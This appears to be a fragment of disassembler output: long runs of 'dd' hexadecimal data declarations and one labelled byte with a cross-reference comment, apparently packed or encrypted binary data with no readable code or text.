		dd 9226E387h, 0F0533FD0h, 1CA80684h, 6D868054h,	0B0031F86h
		dd 94AADA9Eh, 0E83191CAh, 329C25B1h, 8E0F80EFh,	0CDF892BDh
		dd 7F6677D2h, 364001Ah,	0B5A2BC93h, 753C08D6h, 85ACD80h
		dd 2CED9h, 4A145F0Bh, 4D015C0Dh, 6A2953EFh, 58229C80h
		dd 924F4000h, 3D0E16A0h, 1E13F91Fh, 0CD3E2CC0h,	0F3066Eh
		dd 773BB2B6h, 0ACA9B59Ah, 6539C000h, 0A54523AEh, 0DA5900C6h
		dd 0DD5F546Ah, 0B6EA296Dh, 8CFD7807h, 0BF90415Ah, 428538h
		dd 6FC451C1h, 899A9C0Ch, 7FB72715h, 5BD8C0ABh, 3E1ABEBh
		dd 87E975D0h, 82EC1F17h, 8B7239D0h, 0B94F6F62h,	0A9597781h
		dd 0FC685E76h, 2BEA4E8Fh, 0A6680CA8h, 0F33C2F53h, 0A0EAC6E1h
		dd 7CB8501Fh, 0C03001Ch, 59354840h, 65007E0Fh, 508E8C1h
		dd 0E9B0233Bh, 1387AC3Bh, 6B0F7A79h, 7F70A5Fh, 0F6685803h
		dd 0B6EE842Fh, 575A17A4h, 55DEEEC0h, 8F4C0E66h,	0BDCA0842h
		dd 0F2F92009h, 948B605Dh, 81E68956h, 86AC651h, 86C68706h
		dd 1F08FF5Ch, 83C4835Fh, 0FBD8E8E9h, 2F82F9D8h,	93F0E205h
		dd 20A2BCD3h, 0A4DBB804h, 99B4EE19h, 0D07A1C66h, 0CE994032h
		dd 3EAA253Ch, 4200CAE6h, 90C77CB1h, 0EE12D22h, 1E7D64CFh
		dd 566059EEh, 8F661185h, 45EAF400h, 15FA55D3h, 27AA0078h
		dd 17AC0D3Ah, 0AF01EF64h, 0BAD4AA1h, 6AD461FCh,	12400D5h
		dd 0DC4426D6h, 7570FF40h, 6DA14D07h, 18D0F7CEh,	0F6C82Bh
		dd 0AEB26811h, 5ADEAF5Fh, 9F791F00h, 0BABE7A57h, 0F813070Fh
		dd 156EF4Bh, 6A418021h,	0D989922Ah, 855CA47Dh, 90DCD3BBh
		dd 88FEBBD0h, 5C60F99Ch, 187425Eh, 1F36B40h, 3E688BABh
		dd 9E90BCB0h, 603FDC6Ch, 0F0DF00A2h, 0C21EB576h, 8D290815h
		dd 91D06F1h, 5D33B18Bh,	6C614999h, 0AFB0922Fh, 854750C7h
		dd 0F7A75075h, 84DA9DF9h, 1044FDF4h, 0BABF4BB7h, 0FF003D7Ah
		dd 0EBCC906Bh, 852F295Dh, 0BFB5F2B1h, 8D2FFFF3h, 0EF3C0A2Fh
		dd 8F68D84Fh, 80E5B7h, 2908D241h, 0F395BE32h, 0C1CDA5D4h
		dd 2A604743h, 0BE7BD94h, 17C98D8Bh, 68D1D969h, 67421611h
		dd 5F8972A2h, 1CD8EED3h, 26A2F40h, 5D69AA56h, 727EAC0Bh
		dd 0D4C8432Dh, 75BD2941h, 0EA9B7B16h, 83C017C8h, 0B9C19F3h
		dd 1E95F56h, 7FC21E51h,	8D0F03A7h, 0E273EEA4h, 0FFB48886h
		dd 5A9B0054h, 52662108h, 89153B79h, 2DA3298Dh, 0F65AC65Bh
		dd 0A2615595h, 0B940743Fh, 0FABFA82Dh, 0DD6EC59Ah, 0B798AF1Dh
		dd 16F572BEh, 4B37DCh, 0EF2D6497h, 8D04A54Dh, 50A8750Bh
		dd 4CF09EEh, 80CB37F7h,	2ECA724Ch, 0BC276912h, 306E115h
		dd 0BC9BAE05h, 4F301B89h, 0B203B0CCh, 0E3207BCDh, 0EDEA10E2h
		dd 9D1B5018h, 648E265Ah, 0A2ABB64Bh, 2D5A781Fh,	684CFE8Ah
		dd 80A178EFh, 37877FB4h, 4C2F0B0Ch, 9A007C2Eh, 33EDB5FFh
		dd 1DABD97h, 0EEB5465Eh, 34616A91h, 0B0020117h,	2C966ADCh
		dd 8D8E6FF8h, 0DEBF8110h, 233E71E4h, 6BD81538h,	583ED680h
		dd 0C637806Ah, 16424733h, 0A86305FCh, 0A9E30EEEh, 5AE12246h
		dd 0B3FFA0F8h, 7C0E7925h, 698494C4h, 64DF8005h,	0EC8CBBBAh
		dd 211D41C9h, 6A01E176h, 0FDB55B21h, 0BD3118FAh, 0AD280D21h
		dd 0A150C110h, 0B5683Ah
		dd 0AC6B7BCEh, 14EAE01h, 9454FA3Ah, 61D85131h, 7D85D480h
		dd 0D1690364h, 906D90CCh, 1FE2124Ch, 8403FD18h,	0E9B819C1h
		dd 7E5FF193h, 0B001888Dh, 246A0911h, 0C529C265h, 7627305Eh
		dd 96FCE924h, 5D3A050Bh, 0BD33C190h, 816FD21h, 484F1169h
		dd 7ABF7821h, 6B35201Fh, 2F1AA594h, 19764CFEh, 4F24B19Dh
		dd 23664395h, 4FCB724Fh, 4A20C710h, 2044DC8h, 40F11B9Fh
		dd 5440F635h, 749DDA8Ah, 3095D453h, 8F3375h, 0FAEC5DD6h
		dd 7FCB916h, 74805AB3h,	0CED81118h, 270BB5F3h, 2D1000D6h
		dd 0E4BEB077h, 2B2B810Dh, 0DA03B96Fh, 0D590CAF4h, 2ABB78E8h
		dd 14E29E17h, 61EB5001h, 0A36CD22Bh, 1A21F480h,	7901785Fh
		dd 0D1CBABC1h, 6D6A299Ch, 0C0EC5A32h, 2CDB2E45h, 0EDF84E06h
		dd 8C1DA8D5h, 0CF8F0200h, 0AC06FC8Bh, 25572452h, 77109BEh
		dd 29618990h, 69CFF197h, 7B898835h, 0C1B882AEh,	0F7F2290Fh
		dd 7829DB9Fh, 383B8FB5h, 51E1092Eh, 0A16A02A8h,	14C7772Dh
		dd 97FDF845h, 0D54E1EB8h, 952FAFECh, 13FC2BE4h,	5F2A1CB5h
		dd 0B036B796h, 122884Ch, 4B9CEBCDh, 20373583h, 715B1F42h
		dd 0B99226E3h, 4AC6B872h, 88968801h, 0FF377000h, 73757CF1h
		dd 366B0315h, 0E3E68226h, 754E1E2h, 322D1CDCh, 0B135C17Ah
		dd 2B27AC71h, 404D95E0h, 0BF166602h, 53A25B3Dh,	0EE037984h
		dd 0A8149DEh, 2BFA9F1Dh, 4BDAB3E2h, 1FB1AA02h, 21512CD4h
		dd 0D4F75D2h, 0B3328A40h, 0C8604E05h, 1E017B47h, 673CD488h
		dd 0C13EDD96h, 2F2B03BAh, 0F4DFB301h, 0E82611Ch, 0BB3D98Ch
		dd 1E301AD4h, 9FFCEDD3h, 116F5A2h, 87EB6082h, 916935DDh
		dd 104D8216h, 0D1A3602Fh, 0F67C820Ch, 50FB53EBh, 0A30374C2h
		dd 9AA47139h, 0F7C80973h, 0F9605CB7h, 504B29D7h, 372E66Fh
		dd 55F054A6h, 0A8B19ED3h, 9E5E283Bh, 7910C780h,	7D2A969h
		dd 3034CAE0h, 5B3A8038h, 76C912EBh, 44E85D23h, 0AB125868h
		dd 2AAADC7h, 5B4876BEh,	0A77E2D78h, 29525707h, 7E890195h
		dd 1546DE1Fh, 8BBDB60Eh, 89E4A452h, 0F9A673B5h,	7DB83097h
		dd 95E90540h, 0FB968C56h, 285018A3h, 4FE1E60Ch,	6FF8CD40h
		dd 92AC483h, 1A058D8Fh,	0E2A5F6FBh, 60ED7CBCh, 4B9BD0Bh
		dd 89FE2BC4h, 0FD160BBDh, 0FB6BAF7Ch, 2E002457h, 0D60DE9D3h
		dd 795FFE43h, 80C591B8h, 2BC2EEF3h, 25B17EFBh, 67019260h
		dd 0D9B0318Bh, 0C6CFDB90h, 55697D7Eh, 86603DCDh, 168EE10h
		dd 1B393D2Eh, 8B028F0Fh, 40F88A23h, 7F3ED164h, 78D5B326h
		dd 4A0532DDh, 5C433CD0h, 8DDA0BFBh, 1D512B5Bh, 55006418h
		dd 0E5154D5Fh, 5FB018ADh, 50F34Eh, 42971A69h, 7F8950C6h
		dd 32C10037h, 92438A06h, 0D87D8B90h, 46F63BE9h,	0CFA270B4h
		dd 859DE484h, 3BC78086h, 42B9615Fh, 852107E9h, 3D3F2ED9h
		dd 799B2F53h, 7700EB92h, 28807D4Eh, 0A0469D33h,	6469949Dh
		dd 0AB533D20h, 2813C8h,	0AA8EF9DCh, 5FBB7CCFh, 0C837514Fh
		dd 615C7C89h, 0EF260BFh, 0EDBDF5BCh, 0E913C05Eh, 3C026F4Dh
		dd 9B1CFEBFh, 50497E7Ch, 7FE10444h, 0F6F0F9E6h,	2126A1FBh
		dd 0FD154ABDh, 4F11A3D9h, 1B86E67h, 8693F545h, 0EE70B97Fh
		dd 9B2B4E15h, 0C91AC887h, 0CD0E6D5h, 25C5BD2Bh,	954E315Ch
		dd 0D82E31B5h, 737EBBA8h, 9D031F8Ch, 0D376A779h, 0E5C531E7h
		dd 6F4231AFh, 0DE45CD59h, 5283EAB7h, 0B85C8B6Fh, 2749BD09h
		dd 2E61514h, 0B7A24500h, 6AA5D88Eh, 0D96C15BCh,	808294AAh
		dd 277E25D7h, 9D895661h, 5B36922Ah, 46D6AE7Eh, 0F3C90218h
		dd 7F018C7Fh, 0EB81BA18h, 83A8D60Eh, 98C7C026h,	9F7322AEh
		dd 3D5751ABh, 0AD7F007Bh, 85D5D31Ah, 0A2E58812h, 958042E8h
		dd 534581E3h, 3572B913h, 0A464802h, 666B7E74h, 0AC259266h
		dd 7EAE9A4Eh, 0C890872h, 203F4A24h, 0C2614F23h,	1C7EF844h
		dd 0C0106D2Fh, 97BE7E8Ch, 1B13C617h, 5D096987h,	1812EBBBh
		dd 2DBB03E9h, 4CDA3BEBh, 0AA688081h, 0F5FA4119h, 0DD8A0122h
		dd 0FE255879h, 46D66476h, 2BEA1615h, 1AAC73ADh,	16B1078Ch
		dd 0B8F8D61h, 115AE0F8h, 238B37EDh, 0AE07D184h,	1AC8BFDBh
		dd 3B8D40CEh, 4FF59958h, 0FF34C5BFh, 1E808ADEh,	33522AC0h
		dd 0D65BD10h, 27A1FE50h, 28E51F9Dh, 73E74113h, 4DC8DCB0h
		dd 901AD800h, 4BB70585h, 0D43FEB31h, 6E5C8003h,	57E8967Ah
		dd 7CB2B00h, 0CCB35650h, 6F20F75Bh, 0F6345B29h,	301DF28Eh
		dd 5900A511h, 0E5202D67h, 0C443608Ah, 0EE0D1382h, 19C887DAh
		dd 909DCAC0h, 0DBA3258Eh, 5A29AE76h, 53632756h,	14C71E6h
		dd 0F12F258Ah, 0AF7DC4C5h, 0EB4ED87Bh, 5D4C465Ah, 0C70074E5h
		dd 99A46EDCh, 8CA31359h, 8240FEE5h, 16B7BA17h, 8A2C181Fh
		dd 5BDAFE56h, 0EF03EC97h, 1285B36Ah, 37ADC6D9h,	0CEDDECE9h
		dd 3E51E2Fh, 0BAE9121Dh, 0DF675708h, 95D617A6h,	8B027EF9h
		dd 5F32E9D9h, 0DD4D0D89h, 22B53C2h, 54F22835h, 0B25F8B0h
		dd 7C926A69h, 8C39F4F8h, 0C48300A1h, 6E1BA6E3h,	0B4604869h
		dd 5A251D10h, 0B87C23B6h, 58199AECh, 0DA392890h, 1DB5BA85h
		dd 0E703BBD2h, 0FDF4B750h, 0F17786Bh, 21560587h, 816C0018h
		dd 6219BBDBh, 7B975178h, 0DC0A7A48h, 2022162Bh,	19B6D249h
		dd 5EDE819Ch, 0C17FE923h, 0DEB1C8Ch, 9BF6FCh, 3C8384CCh
		dd 0CE08C104h, 2FE52320h, 26C3F49Ah, 0B908AD94h, 0E9CAC3Bh
		dd 17E18509h, 0F0AAB494h, 0FBB76AA1h, 6ADA783Ch, 95F27B5Bh
		dd 0BF29CF00h, 5FBA6FDBh, 1B2D581Dh, 4A787A80h,	0ED2FAA6Eh
		dd 0D31AB63Ch, 568274E6h, 0B95F20D5h, 12218978h, 0DA4A3778h
		dd 0C01CC805h, 3977ABCDh, 0D0C1D01h, 0D1FFC5DBh, 0F7B88039h
		dd 0C20035F6h, 0F5600CFAh, 12290940h, 0FC2EFD9Dh, 82E9E497h
		dd 0A6F07156h, 0DE5E8B2Fh, 4A6AB0F0h, 0E003B602h, 7F864EE2h
		dd 8B182FCCh, 324A8CD6h, 0F257253Ch, 2FB7BFE8h,	2402802h
		dd 20EE8022h, 0B04EB5F3h, 0ECEE2579h, 0C14F6F56h, 59BF37B0h
		dd 2E25E3C4h, 0CD954311h, 10AD998h, 382EC4E9h, 0C490DC5Dh
		dd 0EB386D9Dh, 6A31E55Eh, 0A62F26C9h, 95BF0085h, 177D8FA0h
		dd 8DED4B6Eh, 2A900963h, 0FB92B7DBh, 374018D4h,	976D0DB6h
		dd 0F446126Fh, 252BE656h, 6D905F60h, 614BCE8Bh,	1988069Bh
		dd 801EC4h, 25907F67h, 0BA208D89h, 0BD295250h, 5F8B2D54h
		dd 168C5B4Bh, 6CCF2F80h, 689DD974h, 0FE2F3BAEh,	0CD7C2F77h
		dd 398BE16Fh, 622B09F0h, 812025F8h, 1C6505D7h, 1B009CDh
		dd 0E870E6F5h, 7187100Eh, 0D4972Ah, 1A015058h, 0A533898Dh
		dd 12B64377h, 0B4E25292h, 2B88F0F7h, 1725319Dh,	21C8B6A3h
		dd 0EF212AA2h, 0A02E5F53h, 0D1BD2AF5h, 250588C3h, 7D090126h
		dd 9F1591Eh, 0ED58FAB3h, 597C91B0h, 97C82B80h, 48B5306h
		dd 0FCC8D14Ah, 86E27Bh,	6EAB5E97h, 99191639h, 0ED4C0400h
		dd 2BD2E2F1h, 0B8E95E7Ch, 56F7C23Ah, 8D6BE05Ah,	3F60810Ch
		dd 0BDC20FB8h, 5F4E11B9h, 4282AA00h, 0BAF0A43h,	80614B4Fh
		dd 0F05BB04h, 103FEC36h, 77838262h, 4C99914Eh, 13D3D880h
		dd 483E36h, 6E6199DCh, 37349FD7h, 2AC89310h, 5F018B02h
		dd 2BD13AE9h, 5723CD09h, 0D89D5864h, 52D395B4h,	57122191h
		dd 6620FA31h, 0A0A5835Fh, 4A80FE1Dh, 9550E4D7h,	10D284A4h
		dd 471106B6h, 4560402Ah, 361FA000h, 21C78AA2h, 9D1007EBh
		dd 2233B6Eh, 1840AC0Fh,	41B2886Ah, 30BAD94Bh, 2F398D77h
		dd 0AA42B980h, 0B5E818AFh
		dd 0E57500A6h, 6A1F64CDh, 6300270Eh, 3BAF3A65h,	645AD6B2h
		dd 0B8FCEE05h, 0B8819F13h, 4237DD80h, 0B13F61F2h, 0C7B05DFAh
		dd 912D9529h, 4BC5D913h, 0D54931EDh, 4855885h, 0FADB2BCBh
		dd 3D2B568Dh, 29A77103h, 0EFB879h, 0D6706143h, 11369C88h
		dd 72E98E5Eh, 55C67A9h,	0AF5D6B2Ah, 0FB53D71Dh,	0F8D94ECDh
		dd 0DE61202Ah, 9905E45Dh, 0AA83CA19h, 0C08221ABh, 71B0C4E1h
		dd 5F059D00h, 0FA0140BDh, 50D4F2C9h, 380490F7h,	8DCB5BB2h
		dd 25748903h, 5ADE5903h, 4D9FE4D8h, 34ACC033h, 2A04F542h
		dd 0C51D4835h, 7CA2D9ACh, 0C380915Bh, 0EED2B7C6h, 8C4400B0h
		dd 108220D4h, 9C02F96Ah, 0A4533AB1h, 4C2E462Ch,	192A1A60h
		dd 0DD614A9Fh, 0A9C63DD1h, 6EFA8E84h, 4A72F81Ah, 0E69317E9h
		dd 6217A2C0h, 484464Bh,	9E1166EEh, 0A1BFAC14h, 7A3B0478h
		dd 0EB1117BDh, 0CCA45200h, 9BF3A5Fh, 6F1DF8E4h,	5E46C859h
		dd 2542906Bh, 0F6F124A5h, 232778CFh, 0B31D5B9Dh, 0C0F64EDDh
		dd 0E45E72A2h, 0B0133540h, 0CC660073h, 39826B61h, 11A864F2h
		dd 0A6131B5Eh, 0E8B87FC3h, 0D558AAC9h, 5483E295h, 6DBF01D6h
		dd 934217Bh, 7E75A13Eh,	0FAF0D5F6h, 0E828172Ch,	81000B13h
		dd 4F505C3Bh, 75637014h, 0CA80007Ch, 82B7F6D4h,	609F328Dh
		dd 4AE859A2h, 0BBC08C5Bh, 250EF03Ch, 0BEEF6E7Ch, 562FD426h
		dd 4AB70AEh, 738EE0B6h,	0FA6EC3E4h, 90FF0613h, 32BB1F16h
		dd 66F5470Fh, 5413EE0h,	0F6906D93h, 0E8F2E31Dh,	74BE742Fh
		dd 0BAC197CDh, 5F5678D9h, 0A8A07CE7h, 9D707A02h, 0EBE03919h
		dd 7EA3D56h, 90DDC531h,	0CCAF68B4h, 0FF106928h,	0FA80F94Ah
		dd 0F576CF50h, 16800D78h, 6E7338FAh, 2EB3138h, 4341A007h
		dd 0A2CE5593h, 0CE1CF125h, 5F317603h, 12F3B9C1h, 499E0226h
		dd 0D6F5C680h, 8C4B937Bh, 16B21EF6h, 4BEC2630h,	601E8C55h
		dd 8D295104h, 0A4FB1615h, 11259EDBh, 0E620C661h, 436F12E9h
		dd 322E347h, 74A8E781h,	5789BAFBh, 0C0E05ECDh, 1C08C5F2h
		dd 87B5E292h, 5B03602Eh, 0B2A62157h, 0B741619Bh, 0CA6E018Dh
		dd 0BCF93DECh, 13B4CA95h, 0AB464A89h, 1D00FE6Eh, 0DA6FDFAh
		dd 502D96DDh, 7082F452h, 3205771Eh, 310FDEACh, 0B04B8FB8h
		dd 1044E951h, 5C1400FBh, 0BA0F17Bh, 630071FEh, 99C4614Fh
		dd 0B496DF39h, 4105DC8Bh, 1A606B2Fh, 35E7B8Ch, 9E573523h
		dd 0C8E8E002h, 1300922Bh, 0B2FD6E27h, 5A268658h, 8363C8D2h
		dd 469B2000h, 0F4AD0928h, 2A387777h, 61797Fh, 1462E89Fh
		dd 4A988565h, 0E5C70E00h, 57FA8F07h, 8D5F4B3Dh,	0A7F02FCCh
		dd 812A40D5h, 0BCDFE304h, 268076C3h, 95024D9Dh,	60C129D9h
		dd 902B8DB4h, 8B754595h, 8A57FBC5h, 5FC263B1h, 635A19B1h
		dd 1E5558C3h, 4D673B61h, 6E34C0A4h, 0B53F296Ch,	82F7CB35h
		dd 7193093Bh, 0F209D71Eh, 35FF506Eh, 801A11F8h,	97D33C40h
		dd 0D8F22785h, 0F01D7E4h, 0FF21935Eh, 383613BBh, 0EC3DC04Fh
		dd 7C9D6190h, 0B65949D0h, 0D4EAF6E9h, 0F94AF4FEh, 3338D2CAh
		dd 0EEC8759h, 8555612Eh, 0CB33A509h, 1A235078h,	0A5E8BF9Dh
		dd 614BC38Ah, 5EBA0FF3h, 0C501506Ah, 14A87921h,	0A4DF026Bh
		dd 7ABA2F8Ch, 0B34803C0h, 0EDFA8AD7h, 2D628Ch, 0E065C12Bh
		dd 0CDA93A67h, 0FA773FEAh, 4FF51497h, 0E07AFF7Eh, 634EC904h
		dd 341D8E02h, 0A6AF5A51h, 4D73E793h, 60FD8AA8h,	0BD1CE5FFh
		dd 125CB779h, 8A03D31h,	74A5553Dh, 1984CF5Dh, 25802827h
		dd 0E3C6ADD3h, 5DCF2BCh, 78B83723h, 0FC20AE38h,	3F155C6Eh
		dd 6A85857Eh, 0B29603AAh, 0FD69000Eh, 27B4CE93h, 0FB73CF9h
		dd 40B7F85Fh, 53006020h, 7270BA5Eh, 6261277Fh, 0D1DC896h
		dd 17C9A94h, 220A092Fh,	5F047976h, 907524BAh, 0B460C4Bh
		dd 5BB604DBh, 46D6157Eh, 57D60919h, 0DB89DF89h,	58A4EF5Bh
		dd 974DE0D6h, 7C5BD609h, 4404CD8h, 0F850E6C6h, 58A5E35Bh
		dd 2EAD16EBh, 0A996ABF9h, 723DA973h, 530CBBD3h,	5650652Dh
		dd 0FAB42C20h, 0C85E78B6h, 0D500CFC4h, 9B78E1D9h, 41CDB3Eh
		dd 9AB839E8h, 6274BFAFh, 0C4A829ADh, 0C09EA500h, 58F021AAh
		dd 0DD0E5834h, 0F6488012h, 301AB244h, 5706B599h, 0E56F4C1Eh
		dd 0D88B2544h, 5470F1h,	0CA9C5C27h, 9ED13D28h, 0E9B95475h
		dd 0B1F8B81h, 0BB78635Fh, 5C6300D6h, 5039CB2Ah,	0F2A2605Ah
		dd 2256FB00h, 8F1F35Bh,	283F1E02h, 0D5927C58h, 66FE8A44h
		dd 742D4FBCh, 0BFDF458Dh, 17232D6Bh, 8C3A7002h,	0F48275F2h
		dd 4A5EB894h, 45207169h, 2B7BAA57h, 56B66A01h, 30A8E2B7h
		dd 2D41512Ah, 152C9071h, 1F562E80h, 0D970F26Ch,	41D02509h
		dd 0D6A37593h, 0C02F5B7h, 0BAC6FCBBh, 0DD6A5D28h, 2704DD7Eh
		dd 1FEA9655h, 0C1FBAD08h, 0FE181B79h, 728ADF00h, 92B23FE8h
		dd 0A7BAB1F5h, 718B8975h, 5F03543Ah, 31D63B53h,	95A1063h
		dd 0DFEF4827h, 0F2E07FFh, 30035E6Ah, 0B7DC4F94h, 0AE52E136h
		dd 0B4A3F1E7h, 4B1D5430h, 0D2C6F234h, 3FA908F9h, 885B75F3h
		dd 507FB34h, 58555F6Dh,	0CD2A3DE0h, 29CB0963h, 84795383h
		dd 10542444h, 0A044C4C0h, 303AC064h, 0F22578D4h, 450E601h
		dd 2B7943BBh, 7F4CBC05h, 3792C9FCh, 0B32B1E97h,	0BE6E582Bh
		dd 601E072Fh, 80134540h, 0E0971CE9h, 0E8F781A3h, 7DBC2DA7h
		dd 8F423EF8h, 5BD290Eh,	9D090510h, 70BF2545h, 0E62ABB44h
		dd 5053E813h, 0A6800EF9h, 5C6B190h, 4694A02h, 5821A31Ch
		dd 0ED5F5B6Ah, 0E0A9978Eh, 6500CEB8h, 0DD4A71A7h, 0BF6EB309h
		dd 0E04EE1CFh, 0DCBB2A5Bh, 0E3742782h, 722D4356h, 0C8F39578h
		dd 0DD67F97Bh, 0C6359841h, 9DBC802Bh, 0E4B72C75h, 90FC2E88h
		dd 228B1C70h, 0A81230F1h, 0DE6A2A25h, 1900DE39h, 0BF58317Dh
		dd 4CA096F0h, 0D1C50706h, 0BB6C0222h, 0DB624969h, 5B69BB56h
		dd 0BF35A7B5h, 3209D30Fh, 17913A04h, 6296BF00h,	0FF2D4258h
		dd 1CD9B7D1h, 0F8B500C9h, 0ADA26B41h, 2FD641B7h, 42B8382Eh
		dd 4D046BFh, 0B589026Ah, 4033BCB9h, 84583BAh, 25CFB62Eh
		dd 420DFEFEh, 0BA5528A9h, 4671C8h, 0F6EBEFDBh, 0C48649Ch
		dd 7B9B3B86h, 2D126A07h, 2660581Dh, 4B81E95Dh, 10638B0Fh
		dd 15F8C63Fh, 0B2A4018Ch, 21BD0160h, 3CC87F08h,	2E618111h
		dd 0DD04E36Eh, 8473E778h, 14D5FB83h, 23256BBEh,	0BA490118h
		dd 3A6A66E9h, 0BF00F7F3h, 377A1068h, 0A0958531h, 25DB8103h
		dd 731E01ADh, 0DF59BB90h, 0D850E530h, 953E16A4h, 0FA8B1251h
		dd 23976EBBh, 0AD311215h, 0FFF8C9B0h, 33B053C6h, 0FB6A0740h
		dd 0DCF03236h, 0A33E70D4h, 76F71615h, 23E18C04h, 0BC5A9CB9h
		dd 0FB43A04Bh, 5028FCBCh, 458C388h, 0FC4D2463h,	88AAB960h
		dd 1E74A75Bh, 41D38100h, 25270474h, 0CE5070E6h,	0A46B3041h
		dd 0A46114Ah, 92973A22h, 0D790D7E3h, 7300A2A9h,	8EC9E158h
		dd 12A440FAh, 0E1C52FFBh, 0F5AC41A7h, 0B63B18h,	4CABA84Ah
		dd 2562D2Bh, 0C1A3198h,	2740A190h, 0ECD29D61h, 0DDAD46C9h
		dd 800FEC18h, 604F1E64h, 8980E7A8h, 0E47CCAB8h,	1F68DE3Eh
		dd 78F0A395h, 5E3D31C8h, 2966E65Bh, 4280AEE9h, 38A53658h
		dd 153D0104h, 0EA26CE95h, 2FF8D78Eh, 2B052143h,	0FE8A60C8h
		dd 0DC12CC0Bh, 2F9E0E9h, 0B2074161h, 367B4BB4h,	95AB3B11h
		dd 90D18BECh, 29C14418h, 21546DF6h, 43D387D4h, 0DADE9430h
		dd 51F7002Ch, 0F94CB0E6h, 0D1A2CC9Eh, 5B77157Ah, 9539E49Fh
		dd 0D14DF490h, 0DC9C0E0Fh
		dd 0BF1760ADh
		db 6Eh,	0FEh, 0F7h
byte_544547	db 5Bh			; DATA XREF: ___:off_445248o
		dd 105BF223h, 0F9C90C75h, 0E44F772h, 0A5BB0052h, 5F327109h
		dd 829937E9h, 0FF8D1AB9h, 29D90E03h, 11E17310h,	322B4D20h
		dd 8CA51F17h, 629D441Bh, 95893951h, 1BB75E82h, 4C1E05Ch
		dd 2E371943h, 0AAA401A0h, 9096FD25h, 0C2845Bh, 27654EF3h
		dd 6C14CB40h, 1169107h,	4A0278F0h, 2680E086h, 6B2A1AE0h
		dd 0B8537C5Fh, 9D0270h,	0A2D60AD8h, 0D1DDE2EAh,	0FE07DE97h
		dd 4FBBDB02h, 507CA349h, 6B15417Ch, 91476F3h, 0B984CDBDh
		dd 60929243h, 333818F7h, 1A552F95h, 8982217Bh, 421E98Dh
		dd 5956BC61h, 2794BC75h, 1E44541Bh, 0FCB0B600h,	0A86DC4F5h
		dd 0F22900C8h, 440122F4h, 374C200Fh, 0AC18C073h, 2FD1FCh
		dd 7CA7DA7Bh, 6EAAD7D3h, 6F5BCA2Ch, 28135988h, 22532ADh
		dd 7FFFCB3h, 6F09B89Ch,	0DAB460FBh, 7120AE3Ah, 9502FEB3h
		dd 0BC7C2E76h, 0AFE0E3AEh, 301C99F1h, 42134EC7h, 0AF3069B6h
		dd 9B9D15Eh, 0ED057B10h, 1719C5FFh, 0FC06A959h,	39058C14h
		dd 25699531h, 4A1B8AAFh, 0EF8F449Ah, 0FFF5D980h, 0D609B92Fh
		dd 0A9B59D23h, 0D681FE02h, 0E94E1846h, 904D2F19h, 41B5617h
		dd 252F5B3Eh, 0D674AEE5h, 0AAA52DE6h, 5F2081A1h, 9B8B95A1h
		dd 6868975Dh, 2B856069h, 795AEFD9h, 0EBE094B6h,	464EF5B6h
		dd 9C2D0C8Ah, 7F8409BDh, 80F828CCh, 5A1CC910h, 0CA7A90A1h
		dd 4EB8386Dh, 15EC84ADh, 65194A00h, 9A8B2D48h, 20EE90B0h
		dd 3762585h, 9774FABDh,	0AD7B4CBAh, 74082050h, 5E0E14E7h
		dd 7131F25Ch, 60E1FF69h, 3BE765CBh, 7F8845E3h, 4940CF61h
		dd 9888220Bh, 27C1278Dh, 3F110947h, 8ABB6602h, 0CCDE601Ah
		dd 0FC8E5ADCh, 0C8F604D3h, 0ECBC1B14h, 0DDE31C79h, 122A1232h
		dd 0BB8D16C0h, 89E63C64h, 0B99AAAA0h, 8D4E4B13h, 4A2F11A4h
		dd 0E8EAAD01h, 44C7B86Ch, 0F4A1600Eh, 0D509C22Dh, 0DB9D34C4h
		dd 18197134h, 0D93204F2h, 870E5FC0h, 0A8FCBB69h, 92F8142h
		dd 0C898DB2h, 76A7FF5Eh, 1646D64Dh, 5074C05Ah, 219C1AB7h
		dd 79950902h, 812A8006h, 2559B8C7h, 0EC57D8Ah, 0CE45112Fh
		dd 6BBCF57Eh, 50D9D8B1h, 606FF62Bh, 7FB46081h, 7C68A0E8h
		dd 0CCC80FD5h, 0D0778483h, 17FF6DAAh, 5ADC00Eh,	68A9212Fh
		dd 0B9455B5Ah, 3EE84E44h, 0F9E860C9h, 0FF899758h, 130B94DDh
		dd 853EE9FCh, 316F96h, 542FE4FBh, 1789438Bh, 0A92351B5h
		dd 0CF8D218h, 0A15B05D3h, 0DFDBEE2Ah, 98C470D2h, 2AE5160Bh
		dd 85CBEEC0h, 0FF8997D1h, 8E27BD5Dh, 3C689D0Fh,	0DCF2C160h
		dd 0D5240BABh, 0FC01CFA0h, 7AB22064h, 268135A0h, 9AFED72h
		dd 3ADF189Dh, 0F790F72Bh, 903EE1C1h, 0DFB68022h, 702072B2h
		dd 4386001Fh, 73FB18AEh, 71903AC3h, 5B4BD567h, 0E0896D7Bh
		dd 7DEBD25h, 4DBDFE77h,	60196437h, 13BBFB20h, 0C129052Fh
		dd 2F0446ACh, 0BF80D79Bh, 6DB52927h, 5CD92A44h,	35C0A996h
		dd 10568921h, 0C11E48h,	59850C15h, 1684B307h, 0C08A16F8h
		dd 8214BF53h, 0F1D770Bh, 3B1AD531h, 0B79966D7h,	5D74AE2h
		dd 74EA0B7Fh, 7A01BA4Ah, 0FEB38EBEh, 50C0E622h,	0B5A535BFh
		dd 0D18B1A35h, 8F8E65Dh, 8105880Fh, 4CF77BBFh, 4E5D2277h
		dd 0CBA7C8h, 9A6503BAh,	2240884Ah, 0E7641507h, 8F937B3Fh
		dd 5BCF8887h, 434AB458h, 0AF808368h, 0E000C321h, 0BC4EB95h
		dd 29F9982h, 4062446h, 0FC5E7A73h, 0EFC78061h, 55808F47h
		dd 4B135C47h, 0ECF2FD5Fh, 0F7B50039h, 66BD3660h, 0FA5ED0BFh
		dd 14B249A6h, 33015F32h, 3B61562Ah, 0B502296Eh,	0B926EFA0h
		dd 0F37A2674h, 0B7E9508Bh, 0B271FF14h, 78BB09F2h, 451079B4h
		dd 3D13F739h, 368B002Dh, 9B08E486h, 459F25EEh, 0D3940B5Dh
		dd 915678C7h, 0B355858h, 5FE1E9C1h, 0ECFAA435h,	0BA1C0460h
		dd 0AF23BDCEh, 0F62E65F5h, 0D3D7E040h, 0DFAE0080h, 98BB487Ah
		dd 464EE60Ah, 3122228Ah, 0CB80F90Ah, 2059F62Bh,	11D523A5h
		dd 202FE84Ah, 0CF593D61h, 0F7ADB53Dh, 8FB0F14Ah, 2A5B8110h
		dd 6BA0E3CAh, 390BD00Dh, 0E6CBFB10h, 18849FEBh,	0C005E904h
		dd 1B4319BFh, 0EFC462Ch, 72418529h, 56C4EBBDh, 138BAC5Bh
		dd 0DF2DA8Bh, 0E6800588h, 3F103D61h, 89570596h,	710CF9BDh
